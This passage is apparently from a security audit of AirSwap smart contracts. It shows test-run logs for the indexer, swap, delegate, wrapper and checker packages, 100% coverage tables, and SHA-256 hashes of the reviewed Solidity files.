same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol 